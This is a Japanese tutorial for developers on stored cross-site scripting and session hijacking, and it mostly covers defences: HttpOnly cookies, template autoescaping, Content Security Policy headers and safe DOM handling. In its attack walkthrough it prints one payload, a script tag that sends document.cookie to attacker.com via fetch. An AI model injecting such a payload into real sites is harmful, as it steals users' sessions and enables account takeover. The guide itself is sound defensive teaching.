【実務・中級編】クロスサイトスクリプティング(XSS)のペイロード注入とセッションハイジャック – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

XSSは「終わった脆弱性」か？――セッションを奪い去る静かなる脅威と防衛の鉄則

「XSS（クロスサイトスクリプティング）？今さらそんなの、フレームワークが勝手に防いでくれるでしょ？」

もし君がそう思っているなら、今日の話を最後まで聞いてほしい。私はこれまで数多くのインシデントを見てきたが、攻撃者はフレームワークの隙間や、開発者が「ここは安全だろう」と高を括ったわずかなロジックの不備を徹底的に突いてくる。

XSSは単なる「アラートボックスを出す遊び」ではない。それは、君たちのアプリケーションの入り口であり、ユーザーのデジタルアイデンティティそのものを盗むための「鍵」なのだ。

—

1. 攻撃の解剖：なぜ「ただの文字列」が「凶器」に変わるのか

XSSの基本原理は単純だ。攻撃者が注入した悪意のあるスクリプトを、ブラウザが「アプリケーションからの正当な指示」だと誤認して実行してしまうことにある。

蓄積型XSSによるセッションハイジャックのシーケンス

最も危険なのは、掲示板やプロフィール欄などのデータベースにスクリプトが保存される「蓄積型」だ。攻撃の手順はこうだ。

1. 注入: 攻撃者がプロフィール欄に <script>fetch('https://attacker.com/log?c='+document.cookie)</script> を埋め込む。
2. 待機: 管理者やターゲットがそのページを閲覧する。
3. 実行: ターゲットのブラウザで、そのスクリプトが「信頼されたコンテキスト」で実行される。
4. 盗取: ターゲットの document.cookie （セッションID等）が、攻撃者のサーバーへ送信される。

この瞬間、攻撃者はターゲットになりすまし、管理者権限でシステムを操作する。WAFを通過させるためにエンコーディングを変えたり、DOMの操作に紛れ込ませたりする手法は、今や定石中の定石だ。

—

2. 実務で使える防御の最前線

「入力時にサニタイズすればいい」という考えは捨てよう。正しい防御は「出力時のコンテキストに応じたエスケープ」と「ブラウザの権限制限」の二段構えだ。

防御の鉄則1：セッションクッキーの保護（HttpOnly）

何よりもまず、JavaScriptからクッキーを隠さなければならない。サーバーサイドの設定で、セッションクッキーに HttpOnly フラグを必ず付与する。

PHPでの設定例 (php.ini):

; セッションクッキーをJavaScriptからアクセス不能にする
session.cookie_httponly = 1
; HTTPS通信時のみクッキーを送信する（必須）
session.cookie_secure = 1

防御の鉄則2：テンプレートエンジンによる自動エスケープ

自作のHTML出力関数などは作らず、信頼できるテンプレートエンジン（Jinja2, Twig, ReactのJSXなど）の自動エスケープ機能を信じよう。もしどうしても生のHTMLを扱う必要がある場合は、信頼できるライブラリのみを使用する。

Python (Jinja2) での安全なレンダリング:

# Jinja2はデフォルトでエスケープするため、安全
# ユーザー入力をそのまま出力しても、< は &lt; に変換される
return render_template('profile.html', user_bio=user_input)

—

3. 防衛の最終防壁：Content Security Policy (CSP)

どれだけコードを綺麗に書いても、0dayやライブラリの脆弱性は防げない。そこで、ブラウザ側に「実行していいスクリプトの範囲」を強制する Content-Security-Policy (CSP) が重要になる。

NginxでのCSPヘッダー設定例:

# 信頼できるドメインからのスクリプトのみ実行を許可する
# 'unsafe-inline' は絶対に避けること。これがついているとCSPの意味が半減する。
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none';";

この設定を入れておけば、万が一君のコードに <script> インジェクションの穴があっても、ブラウザが「外部への送信」や「インラインでの実行」をブロックしてくれる。

—

4. 後輩エンジニアへ贈る「現場の教訓」

最後に、一つだけ覚えておいてほしい。「ユーザーの入力は、どんな形であれ必ず汚染されていると考えろ」。

1. 信頼するな: データベースから取り出したデータも、一度出力する際はエスケープの対象にする。
2. DOMを見ろ: 今はHTMLの中に直接スクリプトを書かなくても、innerHTML に変な値を突っ込むだけでDOMベースのXSSが発生する。JSでDOMを操作する際は textContent を使え。
3. WAFに頼りすぎるな: WAFは「壁」だが、攻撃者は「穴掘り」のプロだ。根本的なソースコードの堅牢性こそが、君たちのプロダクトを守る唯一の手段になる。

セキュリティは、一度作って終わりではない。運用しながら常に攻撃者の視点を持ち、コードを磨き続ける。その泥臭い努力こそが、最も強固な防御壁になるんだ。

現場からは以上だ。さあ、自分のコードを見直してみよう。そこに脆弱性が眠っていないと断言できるか？